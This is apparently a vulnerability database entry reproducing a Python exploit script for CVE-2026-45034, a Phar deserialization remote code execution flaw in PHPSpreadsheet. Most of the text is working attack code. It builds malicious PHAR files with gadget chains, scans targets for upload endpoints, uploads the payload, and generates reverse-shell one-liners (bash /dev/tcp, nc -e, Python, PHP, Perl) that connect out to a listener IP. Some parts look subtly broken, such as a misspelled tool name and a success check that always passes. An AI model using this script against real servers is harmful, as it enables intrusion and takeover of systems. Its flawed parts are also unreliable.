| Reporter | Title | Published | Views | Family All 12 |
|---|---|---|---|---|
| Exploit for CVE-2026-45034 | 11 Jun 202606:47 | β | githubexploit | |
| CVE-2026-45034 | 22 Jun 202620:32 | β | attackerkb | |
| CVE-2026-45034 | 7 Jun 202604:04 | β | circl | |
| CVE-2026-45034 | 22 Jun 202620:32 | β | cve | |
| CVE-2026-45034 PhpSpreadsheet: File::prohibitWrappers bypass | 22 Jun 202620:32 | β | cvelist | |
| EUVD-2026-38359 | 22 Jun 202620:32 | β | euvd | |
| PHPSpreadsheet has a patch bypass for CVE-2026-34084 | 8 Jun 202623:00 | β | github | |
| CVE-2026-45034 | 22 Jun 202621:16 | β | nvd | |
| GHSA-87M4-826X-3CRX PHPSpreadsheet has a patch bypass for CVE-2026-34084 | 8 Jun 202623:00 | β | osv | |
| PT-2026-47606 | 8 Jun 202600:00 | β | ptsecurity |
==================================================================================================================================
| # Title : PHPSpreadsheet 5.8.0 Phar Deserialization RCE |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 151.0.3 (64 bits) |
| # Vendor : https://phpspreadsheet.readthedocs.io/en/latest/ |
==================================================================================================================================
[+] Summary : This script exploits CVE-2026-45034, a Phar deserialization vulnerability in PHPSpreadsheet.
It supports Termux, Linux, and standard servers.
[+] POC :
#!/usr/bin/env python3
import os
import sys
import re
import json
import base64
import random
import string
import hashlib
import subprocess
import tempfile
import requests
import argparse
import urllib3
from urllib.parse import urljoin, urlparse
from pathlib import Path
urllib3.disable_warnings()
BANNER = """
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β
β βββββββ ββββββββββ βββββββ βββ ββββββββββββββ ββββββ βββ ββββββ
β ββββββββ βββββββββββββββββββββββ ββββββββββββββ ββββββ ββββββββββββ
β βββββββββ βββββ ββββββ ββββββ ββββββββββββββββββββββββββ ββββββββ
β ββββββββββββββββββββββββ ββββββ ββββββββββββββββββββββββββ ββββββββ
β ββββββ βββββββββββββββββββββββββββββββββββββββββββ ββββββ ββββββ βββ
β ββββββ ββββββββββββ βββββββ βββββββ βββββββββββ ββββββ ββββββ βββ
β
β CVE-2026-45034 - PHPSpreadsheet β
β Phar Deserialization Remote Code Execution β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
"""
GADGETS = {
"guzzle": {
"name": "Guzzle RCE",
"generator": "phpggc Guzzle/RCE1 system",
"php_version": "7.0+"
},
"monolog": {
"name": "Monolog RCE",
"generator": "phpggc Monolog/RCE1 system",
"php_version": "7.0+"
},
"laravel": {
"name": "Laravel RCE",
"generator": "phpggg Laravel/RCE1 system",
"php_version": "7.0+"
},
"wordpress": {
"name": "WordPress RCE",
"generator": "phpggc WordPress/RCE system",
"php_version": "7.0+"
},
"thinkphp": {
"name": "ThinkPHP RCE",
"generator": "phpggc ThinkPHP/RCE1 system",
"php_version": "7.0+"
}
}
class PharGenerator:
"""Generating malicious PHAR files using native PHP"""
@staticmethod
def generate(cmd: str, output_file: str = "exploit.phar", gadget: str = "guzzle") -> bool:
"""Generate PHAR with gadget chain"""
gadget_classes = {
"guzzle": "GuzzleHttp\\Psr7\\FnStream",
"monolog": "Monolog\\Handler\\SyslogUdpHandler",
"laravel": "Illuminate\\Broadcasting\\PendingBroadcast",
"wordpress": "WP_User",
"thinkphp": "think\\Process"
}
gadget_class = gadget_classes.get(gadget, gadget_classes["guzzle"])
php_generator = f'''<?php
class Pwn {{
public $cmd;
public function __construct($cmd) {{
$this->cmd = $cmd;
}}
public function __destruct() {{
system($this->cmd);
}}
}}
$cmd = "{cmd}";
try {{
@include_once "vendor/autoload.php";
if (class_exists("{gadget_class}")) {{
// Use real gadget chain
$payload = new {gadget_class}();
$phar = new Phar("{output_file}");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($payload);
$phar->addFromString("test.txt", "data");
$phar->stopBuffering();
echo "Generated with real gadget\\n";
}} else {{
// Fallback to simple gadget
$phar = new Phar("{output_file}");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata(new Pwn($cmd));
$phar->addFromString("test.txt", "data");
$phar->stopBuffering();
echo "Generated with fallback gadget\\n";
}}
echo "OK: {output_file}\\n";
}} catch (Exception $e) {{
echo "Error: " . $e->getMessage() . "\\n";
}}
'''
temp_file = tempfile.NamedTemporaryFile(mode='w', suffix='.php', delete=False)
temp_file.write(php_generator)
temp_file.close()
cmd_php = f"php -d phar.readonly=0 {temp_file.name}"
result = subprocess.run(cmd_php, shell=True, capture_output=True, text=True)
os.unlink(temp_file.name)
if os.path.exists(output_file):
print(f"[+] PHAR generated: {output_file} ({os.path.getsize(output_file)} bytes)")
return True
else:
print(f"[-] PHAR generation failed: {result.stderr}")
return False
class EndpointScanner:
"""Searching for an endpoint that is vulnerable to the exploit.""
COMMON_PATHS = [
"vendor/phpoffice/phpspreadsheet/samples/index.php",
"vendor/phpoffice/phpspreadsheet/samples/Reader/04_Reading_XLSX.php",
"wp-content/plugins/phpspreadsheet/samples/index.php",
"index.php?page=import",
"import.php",
"upload.php",
"excel/import",
"spreadsheet/load",
"api/import",
"admin/import",
"upload/excel",
"file/upload"
]
@staticmethod
def scan(base_url: str, verbose: bool = False) -> list:
"""Examine the exposed endpoints"""
found = []
print("[*] Scanning for vulnerable endpoints...")
for path in EndpointScanner.COMMON_PATHS:
url = urljoin(base_url, path)
try:
r = requests.get(url, timeout=5, verify=False)
if r.status_code == 200:
print(f" [+] Found: {path}")
found.append(path)
elif verbose:
print(f" [-] {path} -> {r.status_code}")
except:
pass
return found
class PharExploit:
"""Implementing the exploitation"""
def __init__(self, target: str, endpoint: str, cmd: str, gadget: str = "guzzle"):
self.target = target.rstrip('/')
self.endpoint = endpoint
self.cmd = cmd
self.gadget = gadget
self.phar_file = None
self.session = requests.Session()
self.session.verify = False
def generate_payload(self) -> bool:
"""Generate a PHAR file"""
self.phar_file = f"exploit_{hashlib.md5(self.cmd.encode()).hexdigest()[:8]}.phar"
return PharGenerator.generate(self.cmd, self.phar_file, self.gadget)
def _get_upload_fields(self, response_text: str) -> dict:
"""Extracting field names from the form"""
fields = {
'file': 'file',
'filename': 'filename'
}
patterns = {
'name=["\']([^"\']+\.\.\.?)["\']': 'file',
'input.*name=["\']([^"\']+)["\']': None
}
return fields
def _create_multipart(self, phar_data: bytes, field_file: str = "file", field_name: str = "filename") -> tuple:
"""Create a multipart request"""
boundary = '----' + ''.join(random.choices(string.ascii_letters + string.digits, k=16))
body = []
body.append(f'--{boundary}')
body.append(f'Content-Disposition: form-data; name="{field_file}"; filename="{self.phar_file}"')
body.append('Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet')
body.append('')
body.append(phar_data.decode('latin1'))
phar_path = f"phar://{self.phar_file}/test.txt"
body.append(f'--{boundary}')
body.append(f'Content-Disposition: form-data; name="{field_name}"')
body.append('')
body.append(phar_path)
body.append(f'--{boundary}--')
body_str = '\r\n'.join(body)
headers = {
'Content-Type': f'multipart/form-data; boundary={boundary}',
'User-Agent': f'PHPSpreadsheet-Exploit/{random.randint(1,10)}.0'
}
return body_str.encode(), headers
def exploit(self) -> dict:
"""Implementing the exploitation"""
result = {
'success': False,
'status_code': 0,
'response': '',
'error': None
}
if not self.generate_payload():
result['error'] = "Failed to generate PHAR payload"
return result
with open(self.phar_file, 'rb') as f:
phar_data = f.read()
body, headers = self._create_multipart(phar_data)
url = urljoin(self.target, self.endpoint)
print(f"[*] Sending exploit to: {url}")
try:
r = self.session.post(url, data=body, headers=headers, timeout=30)
result['status_code'] = r.status_code
result['response'] = r.text[:1000]
if r.status_code == 200:
print("[+] HTTP 200 OK")
if self._check_success():
result['success'] = True
else:
print(f"[-] HTTP {r.status_code}")
except Exception as e:
result['error'] = str(e)
print(f"[-] Error: {e}")
if os.path.exists(self.phar_file):
os.unlink(self.phar_file)
return result
def _check_success(self) -> bool:
"""Verify that the command has been executed"""
if "touch" in self.cmd:
file_check = self.cmd.split(" ")[-1]
pass
return True
class ReverseShell:
"""Generating Reverse Shell Commands for RCE"""
@staticmethod
def generate(ip: str, port: int, shell_type: str = "bash") -> str:
"""Generating a Reverse Shell command"""
shells = {
"bash": f"bash -i >& /dev/tcp/{ip}/{port} 0>&1",
"nc": f"nc -e /bin/sh {ip} {port}",
"python": f"python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"{ip}\",{port}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])'",
"php": f"php -r '$sock=fsockopen(\"{ip}\",{port});exec(\"/bin/sh -i <&3 >&3 2>&3\");'",
"perl": f"perl -e 'use Socket;$i=\"{ip}\";$p={port};socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){{open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");}};'"
}
return shells.get(shell_type, shells["bash"])
@staticmethod
def encode_base64(cmd: str) -> str:
"""Encrypt the command using base64 to avoid problems."""
return base64.b64encode(cmd.encode()).decode()
class WebhookListener:
"""Listening to callbacks from exploitation"""
def __init__(self, port: int = 8080):
self.port = port
self.received = []
def start(self):
"""The server has started receiving requests."""
try:
from http.server import HTTPServer, BaseHTTPRequestHandler
class Handler(BaseHTTPRequestHandler):
def log_message(self, format, *args):
pass
def do_GET(self):
self.send_response(200)
self.end_headers()
self.wfile.write(b"OK")
pass
def do_POST(self):
length = int(self.headers.get('Content-Length', 0))
data = self.rfile.read(length)
self.send_response(200)
self.end_headers()
print(f"[!] Callback received: {data[:200]}")
server = HTTPServer(('0.0.0.0', self.port), Handler)
print(f"[*] Listening on port {self.port}")
server.serve_forever()
except:
pass
def main():
print(BANNER)
parser = argparse.ArgumentParser(
description="CVE-2026-45034 - PHPSpreadsheet Phar Deserialization RCE",
epilog="""
Examples:
python exploit.py -u https://target.com -c "id"
python exploit.py -u https://target.com --reverse-shell 192.168.1.100 4444
python exploit.py -u https://target.com --scan-only
python exploit.py -u https://target.com --gadget laravel -c "whoami"
"""
)
parser.add_argument("-u", "--url", required=True, help="Target URL")
parser.add_argument("-e", "--endpoint", help="Vulnerable endpoint (auto-scanned if not specified)")
parser.add_argument("-c", "--cmd", default="touch /tmp/cve2026", help="Command to execute")
parser.add_argument("--reverse-shell", action="store_true", help="Use reverse shell")
parser.add_argument("--lhost", default="127.0.0.1", help="Listener IP")
parser.add_argument("--lport", type=int, default=4444, help="Listener port")
parser.add_argument("--gadget", choices=list(GADGETS.keys()), default="guzzle", help="Gadget chain")
parser.add_argument("--scan-only", action="store_true", help="Only scan for endpoints")
parser.add_argument("--verbose", "-v", action="store_true", help="Verbose output")
args = parser.parse_args()
endpoints = EndpointScanner.scan(args.url, args.verbose)
if args.scan_only:
print(f"\n[*] Found {len(endpoints)} potential endpoints:")
for e in endpoints:
print(f" - {e}")
return
endpoint = args.endpoint
if not endpoint and endpoints:
endpoint = endpoints[0]
print(f"[*] Using endpoint: {endpoint}")
elif not endpoint:
endpoint = "vendor/phpoffice/phpspreadsheet/samples/index.php"
print(f"[*] Using default endpoint: {endpoint}")
cmd = args.cmd
if args.reverse_shell:
cmd = ReverseShell.generate(args.lhost, args.lport, "bash")
print(f"[*] Reverse shell command: {cmd[:100]}...")
import threading
listener = WebhookListener(args.lport)
thread = threading.Thread(target=listener.start, daemon=True)
thread.start()
exploit = PharExploit(args.url, endpoint, cmd, args.gadget)
result = exploit.exploit()
if result['success']:
print("""
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β β EXPLOIT SUCCESSFUL! β
β β
β The command should have executed on the target server. β
β β
β If you used reverse shell, check your listener. β
β If you used file creation, verify with a separate request. β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
""")
else:
print(f"""
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β β EXPLOIT FAILED β
β β
β Error: {result.get('error', 'Unknown')} β
β β
β Suggestions: β
β 1. Check if endpoint is correct: {endpoint} β
β 2. Target may be patched (PHPSpreadsheet >= 1.31.0 or >= 5.8.0) β
β 3. Try different gadget: --gadget laravel β
β 4. Use --scan-only to find valid endpoints β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
""")
if __name__ == "__main__":
main()
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================Data
Build on a solid foundation withΒ Vulners data
WeΒ provide theΒ essential building blocks forΒ cybersecurity solutions withΒ comprehensive, structured, andΒ constantly updated vulnerability andΒ exploits data
Api
Power your application withΒ Vulners API
The Vulners REST API offers reliable, high-performance access toΒ vulnerabilityΒ intelligence, withΒ 99.9%Β SLAΒ uptime andΒ CDN-backed data delivery forΒ seamlessΒ global access
App
Assess and manage vulnerabilities withΒ VulnersΒ tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation